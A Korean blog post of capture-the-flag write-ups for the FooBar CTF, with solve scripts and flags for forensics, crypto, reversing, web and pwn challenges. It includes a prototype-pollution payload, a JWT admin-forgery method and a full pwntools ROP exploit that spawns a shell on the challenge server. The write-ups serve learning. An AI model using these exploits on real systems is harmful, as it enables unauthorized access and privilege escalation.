일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 | 31 |
- aarch64
- 기초 100문제
- yawa
- fuzzing 아키텍처
- 환경 세팅
- 코드업
- easycrack
- reversing.kr
- Reverse Engineering
- fuzzing 기법
- hacking
- rev-basic-0
- system hacking
- tjdmin1
- pwnable
- x64dbg
- simple-operation
- easy aseembly
- ghidra
- downunder
- fuzzing 개념
- downunderctf
- RAM 구조
- wargame
- Dreamhack
- 247ctf
- rev-basic-1
- foobar ctf
- format-string-bug
- pwnable.tw
- Today
- Total
Tjdmin1
[FOOBAR CTF] Write-ups 본문
Sanity Check
FLAG : GLUG{We!coMe_TO_FooBarCTF}
General
CryptoMix Madness
제공 파일 : hint.txt
The expected output format is:
Base64 encoding
MD5 hash
SHA-256 hash
ROT13 cipher
Hexadecimal representation
FLAG : GLUG{Crypto_Transformation_Master}
Lost Transmission
제공 파일
binwalk로 돌려본 결과
확장자를 bz2로 변경 후 압축 풀기 ( 여러개의 압축 파일들이 안에 들어있는데 계속 풀다보면 flag.txt가 나옴 )
Mac은 한번에 압축을 풀어줬습니다.
FLAG : GLUG{UnZ1pp1nG_N1ghtmar3}
Silent Whispers
제공 파일
steghide로 분석한 결과 .wav 파일이 있었습니다.
.wav 파일을 Audacity 프로그램에 넣어 스팩트로그램을 보게 되면 아래와 같은 글이 나오게 됩니다.
이 문자는 Base64로 인코딩된 값으로 R0xVR3tBQHVkIW9fM25jUnlwdF85eDcjfQ==값을 디코딩해보면 FLAG는 아래와 같습니다.
( 읽기 힘들어서 디코딩 값과 인코딩을 해보면서 맞췄다는... )
FLAG : GLUG{A@ud!o_3ncRypt_9x7#}
Web
Silent Override
username과 password를 입력하면 JWT token을 제공합니다.
여기서 admin을 true로 바꾼 token을 서버에 요청을 날리게 되면 문제가 풀립니다.
FLAG : GLUG{JWT_Manipulation_Success}
Navigate
Server Source Code
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<script src='https://api.mapbox.com/mapbox-gl-js/v1.12.0/mapbox-gl.js'></script>
<link href='https://api.mapbox.com/mapbox-gl-js/v1.12.0/mapbox-gl.css' rel='stylesheet' />
<script
src="https://api.mapbox.com/mapbox-gl-js/plugins/mapbox-gl-directions/v4.1.0/mapbox-gl-directions.js"></script>
<script
src="https://api.mapbox.com/mapbox-gl-js/plugins/mapbox-gl-geocoder/v4.7.2/mapbox-gl-geocoder.min.js"></script>
<link rel="stylesheet"
href="https://api.mapbox.com/mapbox-gl-js/plugins/mapbox-gl-geocoder/v4.7.2/mapbox-gl-geocoder.css"
type="text/css">
<link rel="stylesheet"
href="https://api.mapbox.com/mapbox-gl-js/plugins/mapbox-gl-directions/v4.1.0/mapbox-gl-directions.css"
type="text/css" />
<title>Find My Location</title>
<style>
body {
margin: 0;
}
#geocoder-container>div {
min-width: 50%;
margin-left: 25%;
}
#map {
height: 100vh;
width: 100vw;
}
.marker {
background-image: url('https://docs.mapbox.com/help/demos/custom-markers-gl-js/mapbox-icon.png');
background-size: cover;
width: 50px;
height: 50px;
border-radius: 50%;
cursor: pointer;
}
.mapboxgl-popup {
max-width: 200px;
}
.mapboxgl-popup-content {
text-align: center;
font-family: 'Open Sans', sans-serif;
}
.search {
position: absolute;
top: 10px;
left: 10px;
}
/* .mapboxgl-ctrl-geocoder--input {
padding-left: 35px !important;
width: 350px !important;
margin-right: 30px !important;
} */
.searchBtn {
position: absolute;
top: 10px;
right: 0px;
padding: 11.2px 8px;
z-index: 9999;
background-color: white;
outline: none;
border: 1px solid black;
cursor: pointer;
}
.form{
position: absolute;
top: 10px;
left: 10px;
}
.form input{
z-index: 9999;
padding: 2px 10px;
background-color: white;
margin-top: 10px;
outline: none;
border: none;
width: 350px;
}
</style>
</head>
<body>
<div id='map'></div>
<div class="form">
<input type="text" class="mapboxgl-ctrl-geocoder--input">
<button class="searchBtn" type="button">Search</button>
</div>
<script src="main.js" defer></script>
<script defer>
const btn = document.querySelector('button')
btn.addEventListener('click', async (e) => {
e.preventDefault()
const data = document.querySelector('.mapboxgl-ctrl-geocoder--input').value
const list = await fetch(https://api.mapbox.com/geocoding/v5/mapbox.places/${data}.json?access_token=pk.eyJ1IjoiYWVsZWN0cm9uIiwiYSI6ImNrenFrMnB6MjU4aHozMG8xd2NyOW1wMXIifQ.pxgiSakfpfYjvjLXlFyFvA)
const lists = await list.json()
const res = await fetch("/", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
credentials: "include",
body: JSON.stringify({
auth: { name: "user", password: "pwd" },
location: { name: data }
})
})
const result = await res.json()
sessionStorage.setItem('history', JSON.stringify(result))
test(lists)
})
</script>
</body>
</html>
mapboxgl.accessToken =
"pk.eyJ1IjoiYWVsZWN0cm9uIiwiYSI6ImNrenFrMnB6MjU4aHozMG8xd2NyOW1wMXIifQ.pxgiSakfpfYjvjLXlFyFvA"
navigator.geolocation.getCurrentPosition(successLocation, errorLocation, {
enableHighAccuracy: true
})
function successLocation(position) {
setupMap([position.coords.longitude, position.coords.latitude])
}
function errorLocation() {
setupMap([-2.24, 53.48])
}
let lists;
function test(list) {
lists(list)
}
function setupMap(center) {
const map = new mapboxgl.Map({
container: "map",
style: "mapbox://styles/mapbox/streets-v11",
center: center,
zoom: 4
})
lists = (data) => {
console.log(data, "line 76")
const geojson = {
'type': 'FeatureCollection',
'features': [
{
'type': 'Feature',
'geometry': {
'type': 'Point',
'coordinates': [data.features[0].center[0],data.features[0].center[1]]
},
'properties': {
'title': 'User',
'description': ${data.features[0].place_name}
}
}
]
};
// add markers to map
for (const feature of geojson.features) {
// create a HTML element for each feature
const el = document.createElement('div');
el.className = 'marker';
// make a marker for each feature and add it to the map
new mapboxgl.Marker(el)
.setLngLat(feature.geometry.coordinates)
.setPopup(
new mapboxgl.Popup({ offset: 25 }) // add popups
.setHTML(
<h3>${feature.properties.title}</h3><p>${feature.properties.description}</p>
)
)
.addTo(map);
}
}
// let geojson;
async function showPosition(position) {
const res = await fetch(https://api.mapbox.com/geocoding/v5/mapbox.places/${position.coords.longitude},${position.coords.latitude}.json?access_token=pk.eyJ1IjoiYWVsZWN0cm9uIiwiYSI6ImNrenFrMnB6MjU4aHozMG8xd2NyOW1wMXIifQ.pxgiSakfpfYjvjLXlFyFvA)
const result = await res.json()
console.log(result.features[2].place_name)
const geojson = {
'type': 'FeatureCollection',
'features': [
{
'type': 'Feature',
'geometry': {
'type': 'Point',
'coordinates': [position.coords.longitude, position.coords.latitude]
},
'properties': {
'title': 'User',
'description': ${result.features[2].place_name}
}
}
]
};
// add markers to map
for (const feature of geojson.features) {
// create a HTML element for each feature
const el = document.createElement('div');
el.className = 'marker';
// make a marker for each feature and add it to the map
new mapboxgl.Marker(el)
.setLngLat(feature.geometry.coordinates)
.setPopup(
new mapboxgl.Popup({ offset: 25 }) // add popups
.setHTML(
<h3>${feature.properties.title}</h3><p>${feature.properties.description}</p>
)
)
.addTo(map);
}
}
// for own loaction
function getLocation() {
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(showPosition);
} else {
console.log("Geolocation is not supported by this browser.")
}
}
getLocation()
const nav = new mapboxgl.NavigationControl()
map.addControl(nav)
// var directions = new MapboxDirections({
// accessToken: mapboxgl.accessToken
// })
// map.addControl(directions, "top-left")
}
Prototype Pollution 취약점 문제입니다.
import requests
url = "http://chall.foobarctf.nitdgplug.org:31300"
payload = {
"auth": { "name": "user", "password": "pwd" },
"location": {
"name": "anything",
"__proto__": { "isAdmin": True }
}
}
response = requests.post(url, json=payload)
print("Status Code:", response.status_code)
print("Response Body:", response.text)
FLAG : GLUG{y0u_f0und_the_cOrrEct_L0c@ti0n}
Reverse Engineering
Cipher Maze
main 함수
XOR 함수
간단한 리버싱 XOR 문제입니다.
solve.py
def decrypt():
# key는 ( 'G' + 'L' + 'U' + 'G' ) << 8 = 77568 = 0x12F00
key = 0x12F00
# .rodata에 저장된 34개의 QWORD 값 (little-endian으로 해석된 정수)
secret = [
0x012F78, 0x012F30, 0x012F72, 0x012F5F,
0x012F61, 0x012F6E, 0x012F64, 0x012F5F,
0x012F6C, 0x012F30, 0x012F67, 0x012F31,
0x012F63, 0x012F40, 0x012F6C, 0x012F5F,
0x012F73, 0x012F68, 0x012F31, 0x012F66,
0x012F74, 0x012F5F, 0x012F65, 0x012F40,
0x012F73, 0x012F79, 0x012F5F, 0x012F72,
0x012F31, 0x012F67, 0x012F68, 0x012F38,
0x012F3F, 0x012F3F
]
flag_chars = []
for value in secret:
flag_chars.append(chr(key ^ value))
flag = "".join(flag_chars)
print("GLUG{" + flag + "}")
if __name__ == "__main__":
decrypt()
FLAG : GLUG{x0r_and_l0g1c@l_sh1ft_e@sy_r1gh8??}
Bitmap Mystery
compressed.py
import struct
def compress_bmp(input_file, output_file):
with open(input_file, "rb") as f:
header = f.read(54) # BMP header (first 54 bytes)
pixel_data = f.read()
compressed_data = bytearray()
prev_byte = None
count = 0
for byte in pixel_data:
transformed_byte = byte ^ 0xAA # XOR with 0xAA for obfuscation
if transformed_byte == prev_byte and count < 255:
count += 1
else:
if prev_byte is not None:
compressed_data.append(prev_byte)
compressed_data.append(count)
prev_byte = transformed_byte
count = 1
# Append the last byte
if prev_byte is not None:
compressed_data.append(prev_byte)
compressed_data.append(count)
with open(output_file, "wb") as f:
f.write(header) # Write BMP header
f.write(compressed_data) # Write compressed pixel data
print(f"Compression complete. Original size: {len(pixel_data)} bytes, Compressed size: {len(compressed_data)} bytes")
if __name__ == "__main__":
compress_bmp("flag.bmp", "compressed_data")
compressed_data
bmp 파일을 XOR 연산으로 암호화 해놨습니다.
solve.py
import struct
def decompress_bmp(input_file, output_file):
with open(input_file, "rb") as f:
header = f.read(54)
compressed_data = f.read()
decompressed = bytearray()
i = 0
while i < len(compressed_data):
value = compressed_data[i]
count = compressed_data[i+1]
decompressed.extend([value] * count)
i += 2
original_pixels = bytearray(b ^ 0xAA for b in decompressed)
with open(output_file, "wb") as f:
f.write(header)
f.write(original_pixels)
print(f"Decompression complete. Output file: {output_file}")
if __name__ == "__main__":
decompress_bmp("compressed_data", "flag.bmp")
FLAG : GLUG{Bm9_R8VreVers3}
Crypto
Crypt0n1um Vault
challenge.txt
-----BEGIN RSA PRIVATE KEY-----
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAu9OejDKf6ybyU1UC1AX3jiaDM7XdGNOPJjpWbO4/N8YaXihf
C4mcgdN+1jg2Iq7c5/UI+GsBjeSnkp8Nas/TtivCrmHM0d/VmCfRrFbx9Xx43elp
I5DC4Z5Riy2DGMYCWNywaM9Ej65C41kwQhI0bwG7d5syazLIXhw2n5hW8dand4tY
+euUvpHiagUViXAB5tFGYw7PIGTvQ9M2sqQFtWWLJAXh5tdDlHvNDzQyHrzAmZsK
3DThSauGWkP+634E91W6hr+xcK9yV8/kFInA9ZnH2gbd6ohKZZseg9HHdraYKYnD
H2wuytlrAyFL4DDPnBQjP4w+mC3zq15N2gbGGQIDAQABAoIBAAUXo4n332e/5RGx
ptjPwUVMhwHHvFMC0rPodf+7D+INEBmdwkHs/QjKDqYeh7KLXM2PJ6tF324U6nQq
YByVaOSHWDO5JBVL78hnH/iqXMyuj2pY0d3B0X7OIjYsnuF05jW5j1uFbxLu2Ge9
5cs3dM4jqmJU8K+BBMyvECNl58mOX9mDAvCwcOmraF+pBuR7VXb5It6kYEch6TKk
wV5JWmEu4BukuimOJjHPkcWIDSamL0RIfZ8mk78UGHlOt1kJq/26laBMrs2Z8bNm
a36D3G/iPk9XRa5DJvZcj3usrDLObSvqsdPTDAujol229O5JE9IcwpUk55TEsZGM
DqISJd8CgYEAxWIOfkcIqp7RsdAfFl1Oews+lpvc2fUbcCbydHxIaxgMqe/o0ZRK
XERwZUqTew+R41hXnn2Ibx1OwdkEckAM/svunHHuEXT2F+lWdJNQXbP/sWlLKI3N
FyebBug9CCznm8Mddsjc+vjbFIYgGCU0tTxO7b8GC+TL24ng7ABlblsCgYEA85sK
67HlG+kZfLATluI8MEumZlS9K9ImB7apk1t/aDTnKU+n6NQspgD03pe5tcgdBWKI
L4BJbqUfDBnSacQ+bNB6x+RpooklxnzEwTrEgCHhCp0rRMLt+pHyF1Vw/IxCAp4z
L0eqYS10ysF9l1k0IizHlQnhB6Uaoby890+i75sCgYEAgsS7K2guUrPT44UqA2wf
4Z8KgUeT4wbjfcMf4JKye9k8Ep4yVh9zwHtLJ6Bn4yDmm4Nc0VEDwfHdysnXi0Xq
FijP1fAZNJGTtTXPJH6wwNPO9B/5Pk3r8Yo4yDO2s6Lkcyqqa5cZ6GBU7N0LiFOl
/uiMtjBXdivH75QCYvjEOn8CgYEA7AbKm/bu7w34vdC0CjsE6h5CCWANMcoZQtv+
jWHXnhWz61jcbUA2Slke6BTFwJU1WSRQowV/II8n98eFESks+q08aTSsDOkpCpmU
4UuZXDR3IJuLcsITZfXGRElqgac7xeGV4jdjo2gxgsnab6vkUUBl18eMmqWjmhWO
WWh1jAUCgYEAt6Gdav0zwCdVVMtuO8pwA2/SFHJ92bxFvc8PS391ac0nYAH6tClN
np+kvmXuKfk8/ZQJxweX1jauHv//HrTk+c9FNUht/KV9x8JrsTHvNOap0RuFLDTT
UuSit7ofCt98yZCJ6BIZIcqu3PK+sEGFASmGoN4ZgfnGwXH9y6KXBW0=
-----END RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----
AES IV
D7ozFsFir2LxtiGD0ydGUw==
Encrypted AES Key
Dcgg6in3W4Yg4PYuLgWINrXJvGF0gEBvvHi2g/a0RxoSRavtbIiGUOYdXMv3tT/xqlE7NNwFIDz0WXNpj7LEeXwuIEMtqanzthem5jFB1swlpzCElFe4c390x9Zxa/Wq+Va39jf18oPFIGZFeLQm9cwuxakXpdvvK9lScjH9Vikdyo3jXDOPVoCaGn/YKeSgyAQ0kMp8axuPXCa7D+blefk7BHT3D6NSA7wbD6Q0kmL5+iwwZ//UEw5FpCV1RTXwnf+l3QMSc8gHAE01+YbFEGDMm/9yDgLLSw62UGTLufBFjbgj7Ss2V/L5zzuXEwvmoF66bochyTCdSf/+Kg8WEQ==
XOR Key
a3 09 28 65 4a cf 31 90 df 33 8d 44 51 d8 89 13 66 55 49 1d f7 ea fb 82
Ciphertext
G6G8GAYMBbIhuX0INzA/iUOyrjCKIjxKGXM8jdY8G5A=
Base64 decode -> XOR decrypt -> RSA decrypt -> AES decrypt 순으로 풀면 FLAG가 나오게 됩니다.
import base64
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import unpad
xor_key_hex = "a3 09 28 65 4a cf 31 90 df 33 8d 44 51 d8 89 13 66 55 49 1d f7 ea fb 82"
cipher_b64 = "G6G8GAYMBbIhuX0INzA/iUOyrjCKIjxKGXM8jdY8G5A="
iv_b64 = "D7ozFsFir2LxtiGD0ydGUw=="
encrypted_aes_key_b64 = """Dcgg6in3W4Yg4PYuLgWINrXJvGF0gEBvvHi2g/a0RxoSRavtbIiGUOYdXMv3tT/xqlE7NNwFIDz0WXNpj7LEeXwuIEMtqanzthem5jFB1swlpzCElFe4c390x9Zxa/Wq+Va39jf18oPFIGZFeLQm9cwuxakXpdvvK9lScjH9Vikdyo3jXDOPVoCaGn/YKeSgyAQ0kMp8axuPXCa7D+blefk7BHT3D6NSA7wbD6Q0kmL5+iwwZ//UEw5FpCV1RTXwnf+l3QMSc8gHAE01+YbFEGDMm/9yDgLLSw62UGTLufBFjbgj7Ss2V/L5zzuXEwvmoF66bochyTCdSf/+Kg8WEQ=="""
rsa_priv_key_pem = """-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAu9OejDKf6ybyU1UC1AX3jiaDM7XdGNOPJjpWbO4/N8YaXihf
C4mcgdN+1jg2Iq7c5/UI+GsBjeSnkp8Nas/TtivCrmHM0d/VmCfRrFbx9Xx43elp
I5DC4Z5Riy2DGMYCWNywaM9Ej65C41kwQhI0bwG7d5syazLIXhw2n5hW8dand4tY
+euUvpHiagUViXAB5tFGYw7PIGTvQ9M2sqQFtWWLJAXh5tdDlHvNDzQyHrzAmZsK
3DThSauGWkP+634E91W6hr+xcK9yV8/kFInA9ZnH2gbd6ohKZZseg9HHdraYKYnD
H2wuytlrAyFL4DDPnBQjP4w+mC3zq15N2gbGGQIDAQABAoIBAAUXo4n332e/5RGx
ptjPwUVMhwHHvFMC0rPodf+7D+INEBmdwkHs/QjKDqYeh7KLXM2PJ6tF324U6nQq
YByVaOSHWDO5JBVL78hnH/iqXMyuj2pY0d3B0X7OIjYsnuF05jW5j1uFbxLu2Ge9
5cs3dM4jqmJU8K+BBMyvECNl58mOX9mDAvCwcOmraF+pBuR7VXb5It6kYEch6TKk
wV5JWmEu4BukuimOJjHPkcWIDSamL0RIfZ8mk78UGHlOt1kJq/26laBMrs2Z8bNm
a36D3G/iPk9XRa5DJvZcj3usrDLObSvqsdPTDAujol229O5JE9IcwpUk55TEsZGM
DqISJd8CgYEAxWIOfkcIqp7RsdAfFl1Oews+lpvc2fUbcCbydHxIaxgMqe/o0ZRK
XERwZUqTew+R41hXnn2Ibx1OwdkEckAM/svunHHuEXT2F+lWdJNQXbP/sWlLKI3N
FyebBug9CCznm8Mddsjc+vjbFIYgGCU0tTxO7b8GC+TL24ng7ABlblsCgYEA85sK
67HlG+kZfLATluI8MEumZlS9K9ImB7apk1t/aDTnKU+n6NQspgD03pe5tcgdBWKI
L4BJbqUfDBnSacQ+bNB6x+RpooklxnzEwTrEgCHhCp0rRMLt+pHyF1Vw/IxCAp4z
L0eqYS10ysF9l1k0IizHlQnhB6Uaoby890+i75sCgYEAgsS7K2guUrPT44UqA2wf
4Z8KgUeT4wbjfcMf4JKye9k8Ep4yVh9zwHtLJ6Bn4yDmm4Nc0VEDwfHdysnXi0Xq
FijP1fAZNJGTtTXPJH6wwNPO9B/5Pk3r8Yo4yDO2s6Lkcyqqa5cZ6GBU7N0LiFOl
/uiMtjBXdivH75QCYvjEOn8CgYEA7AbKm/bu7w34vdC0CjsE6h5CCWANMcoZQtv+
jWHXnhWz61jcbUA2Slke6BTFwJU1WSRQowV/II8n98eFESks+q08aTSsDOkpCpmU
4UuZXDR3IJuLcsITZfXGRElqgac7xeGV4jdjo2gxgsnab6vkUUBl18eMmqWjmhWO
WWh1jAUCgYEAt6Gdav0zwCdVVMtuO8pwA2/SFHJ92bxFvc8PS391ac0nYAH6tClN
np+kvmXuKfk8/ZQJxweX1jauHv//HrTk+c9FNUht/KV9x8JrsTHvNOap0RuFLDTT
UuSit7ofCt98yZCJ6BIZIcqu3PK+sEGFASmGoN4ZgfnGwXH9y6KXBW0=
-----END RSA PRIVATE KEY-----
"""
cipher_bytes = base64.b64decode(cipher_b64)
xor_key = bytes.fromhex(xor_key_hex)
plaintext_after_xor = bytes([b ^ xor_key[i % len(xor_key)] for i, b in enumerate(cipher_bytes)])
rsa_key = RSA.import_key(rsa_priv_key_pem)
cipher_rsa = PKCS1_OAEP.new(rsa_key)
encrypted_aes_key = base64.b64decode(encrypted_aes_key_b64)
aes_key = cipher_rsa.decrypt(encrypted_aes_key)
iv = base64.b64decode(iv_b64)
cipher_aes = AES.new(aes_key, AES.MODE_CBC, iv)
plaintext_padded = cipher_aes.decrypt(plaintext_after_xor)
plaintext = unpad(plaintext_padded, AES.block_size)
print("Flag : ", plaintext.decode())
FLAG : GLUG{CrYpT0_M@st3r_#2025!}
Operation Matrix Guardian
challenge.txt
Basis (Matrix B):
1024 -173 631 -428 502 -811 -47 892 -612 -408 -231 -138 349 -793 -313 -317 268 573 -734 -176 582 -973 -527 -281 -202 -863 -279
-173 1024 -527 -793 -47 -408 502 -231 -428 892 -811 -313 -138 349 631 -734 -317 -176 268 582 573 -279 -973 -863 -527 -202 -281
631 -527 1024 -313 -811 892 -408 -428 -793 -47 502 631 -734 -138 349 -231 -317 -281 -863 -973 -176 268 582 573 -527 -202 -279
-428 -793 -313 1024 -231 -428 892 -811 -47 502 -173 -138 268 631 -734 349 573 -527 -281 -202 -863 -973 -279 -176 582 -527 -317
502 -47 -811 -231 1024 -173 -428 502 892 -811 -428 -734 -317 -231 573 -138 349 -202 -527 -279 -281 -176 -863 268 -973 582 631
-811 -408 892 -428 -173 1024 -793 631 -313 -527 -47 -317 -734 268 -176 631 -138 -863 -202 -527 -281 573 -973 582 -279 349 -231
-47 502 -408 892 -428 -793 1024 -173 631 -313 -527 573 -317 -734 -863 268 -138 -973 -279 -176 -202 349 -281 631 -527 -231 582
892 -231 -428 -811 502 631 -173 1024 -47 -313 -793 268 -863 -317 -527 -176 -734 -281 -973 582 349 -138 -202 -231 631 573 -279
-612 -428 -793 -47 892 -313 631 -47 1024 -173 -408 -279 -281 -202 -527 -863 -176 582 573 -973 -734 631 268 349 -138 -231 -317
-408 892 -47 502 -811 -527 -313 -313 -173 1024 -793 -527 -863 -279 -281 -202 -973 -138 349 631 -231 -734 -176 -317 573 268 582
-231 -811 502 -173 -428 -47 -527 -793 -408 -793 1024 631 573 -734 349 -317 268 -231 -138 -176 -863 -281 -973 -202 -527 582 -279
-138 -313 631 -138 -734 -317 573 268 -279 -527 631 1024 -231 -734 -317 268 631 -138 -863 -279 -202 -527 -281 573 -973 349 582
349 -138 -734 268 -317 -734 -317 -863 -281 -863 573 -231 1024 -138 631 573 -734 -527 -202 -281 -973 -863 349 -138 268 631 -176
-793 349 -138 631 -231 268 -734 -317 -202 -279 -734 -734 -138 1024 268 631 -734 -279 -281 -527 -202 -176 582 631 349 -863 -973
-313 631 349 -734 573 -176 -863 -527 -527 -281 349 -317 631 268 1024 -138 -734 -176 -863 349 -279 -281 -973 -202 -527 582 631
-317 -734 -231 349 -138 631 268 -176 -863 -202 -317 268 573 631 -138 1024 -734 -973 582 -279 -281 -527 -176 631 349 -863 -202
268 -317 -317 573 349 -138 -138 -734 -176 -973 268 631 -734 -734 -734 -734 1024 349 631 -863 582 -279 -281 -202 -176 -527 -973
573 -176 -281 -527 -202 -863 -973 -281 582 -138 -231 -138 -527 -279 -176 -973 349 1024 631 268 631 -734 -863 349 -317 -138 573
-734 268 -863 -281 -527 -202 -279 -973 573 349 -138 -863 -202 -281 -863 582 631 631 1024 -734 -734 268 349 -138 -973 -317 -176
-176 582 -973 -202 -279 -527 -176 582 -973 631 -176 -279 -281 -527 349 -279 -863 268 -734 1024 -138 631 -317 573 268 -863 -202
582 573 -176 -863 -281 -281 -202 349 -734 -231 -863 -202 -973 -202 -279 -281 582 631 -734 -138 1024 268 631 -317 -176 573 349
-973 -279 268 -973 -176 573 349 -138 631 -734 -281 -527 -863 -176 -281 -527 -279 -734 268 631 268 1024 -138 631 -317 -176 582
-527 -973 582 -279 -863 -973 -281 -202 268 -176 -973 -281 -863 582 -973 -176 -281 -863 349 -317 631 -138 1024 268 631 -734 -138
-281 -863 573 -176 268 582 631 -231 349 -317 -202 573 -138 631 -202 631 -202 349 -138 573 -317 631 268 1024 -734 -138 -863
-202 -527 -527 582 -973 -279 -527 631 -138 573 -527 -973 268 349 -527 349 -176 -317 -973 268 -176 -317 631 -734 1024 631 268
-863 -202 -202 -527 582 349 -231 573 -231 268 582 349 631 -863 582 -863 -527 -138 -317 -863 573 -176 -734 -138 631 1024 268
-279 -281 -279 -317 631 -231 582 -279 -317 582 -279 582 -176 -973 631 -202 -973 573 -176 -202 349 582 -138 -863 268 268 1024
Ciphertext Vector:
71 104 148 113 146 116 35 65 97 59 165 114 111 105 155 117 69 121 47 60 121 129 0 0 0 0 0
XOR_key.txt
71 76 85 71 123 76 97 55 33 55 64 105 67 101 95 82 51 76 35 48 107 125 0 0 0 0 0
XOR_key.txt가 Ascii 같아서 복호화 해서 FLAG를 입력했는데 맞았습니다.
오류인건지 출제 의도인건지 모르겠네요.
FLAG : GLUG{La7!7@iCe_R3L#0k}
Pwnable
Madate Vanter
main
start_challenge
secret_function
전형적인 ROP 문제입니다.
secret_function에서 printf의 실제 주소를 줘서 libc leak을 할 필요가 없습니다.
libc database에서 libc 주소를 알아 낸 뒤 one gadget으로 ROP를 해주게 되면 Shell이 따집니다.
from pwn import *
context.arch = 'amd64'
#p = process('./Madate_Vanter')
p = remote('chall.foobarctf.nitdgplug.org', 31347)
libc = ELF('./libc.so.6')
ret_gadget = 0x000000000040101a
p.recvuntil(b"There is one function that exists but isn't available yet: ")
secret_function_addr = int(p.recvuntil(b'\n').strip().decode(), 16)
success(f'secret function address : {hex(secret_function_addr)}')
payload = b'a' * 64 # dummy data
payload += p64(0x404100)
payload += p64(ret_gadget) # stack align
payload += p64(secret_function_addr)
p.sendlineafter(b"In the meantime, we'd love your feedback: ", payload)
p.recvuntil(b'The location of printf in memory:')
printf_addr = int(p.recvuntil(b'\n').strip().decode(),16)
success(f'printf address : {hex(printf_addr)}')
libc_base = printf_addr - libc.symbols['printf']
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = one_gadget[1] + libc_base
payload = b'a' * 64 # dummy data
payload += p64(0x404100)
payload += p64(ret_gadget) # stack align
payload += p64(one_gadget)
p.sendlineafter(b'What will you do with this information?', payload)
p.interactive()
FLAG : GLUG{R3vToL1bC_FBCtf1sf7ls25}
'CTF Write-Ups' 카테고리의 다른 글
[Dreamhack] addition-quiz (0) | 2025.03.30 |
---|